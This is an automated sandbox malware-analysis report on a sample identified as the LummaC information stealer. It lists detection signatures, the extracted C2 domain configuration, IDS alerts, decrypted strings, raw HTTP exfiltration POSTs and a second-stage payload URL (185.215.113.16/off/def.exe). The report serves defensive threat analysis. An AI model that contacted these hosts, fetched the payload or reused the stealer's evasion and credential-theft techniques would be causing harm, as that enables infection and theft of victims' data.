Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1544235
MD5:	8280e9c803dff5258a0c452549b5953c
SHA1:	27ebb62ff372ffe1de06eedd3b0e1c70b2d6b6a1
SHA256:	010df829b95529730aa0840699e780b9176822dbefc24864ccc134a790043a28
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SIDT)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6664 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 8280E9C803DFF5258A0C452549B5953C)

V6JTG9Z5Z4ZAMITLFW.exe (PID: 3620 cmdline: "C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe" MD5: 473C91C8363CF492CF6192686E4AEAE8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["fadehairucw.store", "necklacedmny.store", "thumbystriw.store", "scriptyprefej.store", "crisiwarny.store", "presticitpo.store", "navygenerayk.store", "founpiuer.store"], "Build id": "4SD0y4--legendaryy"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2431542269.000000000160F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6664	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 6664	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6664	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T04:52:04.392826+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	188.114.97.3	443	TCP
2024-10-29T04:52:05.422604+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	188.114.97.3	443	TCP
2024-10-29T04:52:55.586630+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49907	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T04:52:04.392826+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T04:52:05.422604+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49705	188.114.97.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T04:52:56.496545+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49917	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T04:52:20.566823+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49710	188.114.97.3	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T04:52:40.702711+0100	2843864	1	A Network Trojan was detected	192.168.2.5	49826	188.114.97.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: file.exe.6664.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["fadehairucw.store", "necklacedmny.store", "thumbystriw.store", "scriptyprefej.store", "crisiwarny.store", "presticitpo.store", "navygenerayk.store", "founpiuer.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for domain / URL

Source: necklacedmny.store	Virustotal: Detection: 11%			Perma Link
Source: crisiwarny.store	Virustotal: Detection: 13%			Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe	Virustotal: Detection: 48%			Perma Link
Source: file.exe	ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2633378102.0000000000D21000.00000040.00000001.01000000.00000003.sdmp	String decryptor: scriptyprefej.store
Source: 00000000.00000002.2633378102.0000000000D21000.00000040.00000001.01000000.00000003.sdmp	String decryptor: navygenerayk.store
Source: 00000000.00000002.2633378102.0000000000D21000.00000040.00000001.01000000.00000003.sdmp	String decryptor: founpiuer.store
Source: 00000000.00000002.2633378102.0000000000D21000.00000040.00000001.01000000.00000003.sdmp	String decryptor: necklacedmny.store
Source: 00000000.00000002.2633378102.0000000000D21000.00000040.00000001.01000000.00000003.sdmp	String decryptor: thumbystriw.store
Source: 00000000.00000002.2633378102.0000000000D21000.00000040.00000001.01000000.00000003.sdmp	String decryptor: fadehairucw.store
Source: 00000000.00000002.2633378102.0000000000D21000.00000040.00000001.01000000.00000003.sdmp	String decryptor: crisiwarny.store
Source: 00000000.00000002.2633378102.0000000000D21000.00000040.00000001.01000000.00000003.sdmp	String decryptor: presticitpo.store
Source: 00000000.00000002.2633378102.0000000000D21000.00000040.00000001.01000000.00000003.sdmp	String decryptor: presticitpo.store
Source: 00000000.00000002.2633378102.0000000000D21000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2633378102.0000000000D21000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2633378102.0000000000D21000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2633378102.0000000000D21000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2633378102.0000000000D21000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2633378102.0000000000D21000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 4SD0y4--legendaryy

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49907 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: V6JTG9Z5Z4ZAMITLFW.exe, 00000004.00000002.2783766290.0000000000922000.00000040.00000001.01000000.00000006.sdmp, V6JTG9Z5Z4ZAMITLFW.exe, 00000004.00000003.2650523163.00000000048D0000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\CEF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\3D Objects	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Comms	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49705 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49710 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49907 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:49826 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: founpiuer.store

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 03:52:56 GMTContent-Type: application/octet-streamContent-Length: 2838528Last-Modified: Tue, 29 Oct 2024 03:25:40 GMTConnection: keep-aliveETag: "672055b4-2b5000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2c 00 00 04 00 00 af 68 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 62 62 7a 71 66 6f 6a 70 00 00 2b 00 00 a0 00 00 00 f0 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 6e 76 77 64 71 6e 72 00 20 00 00 00 a0 2b 00 00 04 00 00 00 2a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2b 00 00 22 00 00 00 2e 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic

Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49917 -> 185.215.113.16:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12840Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15082Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20572Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1250Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 568572Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic

HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store

Source: file.exe, 00000000.00000002.2641717632.0000000001696000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000002.2641717632.0000000001696000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/9
Source: file.exe, 00000000.00000002.2641717632.0000000001696000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/R
Source: file.exe, file.exe, 00000000.00000002.2640749220.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2632701808.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2640749220.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2632701808.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2641717632.0000000001696000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000002.2639655147.00000000011BA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeH
Source: file.exe, 00000000.00000002.2641717632.0000000001696000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exePPGm
Source: file.exe, 00000000.00000002.2641717632.0000000001696000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeRqmZ5
Source: file.exe, 00000000.00000002.2641717632.0000000001696000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exes
Source: file.exe	String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: file.exe, 00000000.00000002.2640749220.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2632701808.00000000015FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exe$
Source: file.exe, 00000000.00000003.2242092435.0000000005F1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2242092435.0000000005F1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2242092435.0000000005F1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2242092435.0000000005F1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2242092435.0000000005F1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2242092435.0000000005F1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2242092435.0000000005F1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.2242092435.0000000005F1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2242092435.0000000005F1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: file.exe, 00000000.00000003.2242092435.0000000005F1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2242092435.0000000005F1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.2091576690.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091690990.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091511893.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000003.2328868622.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
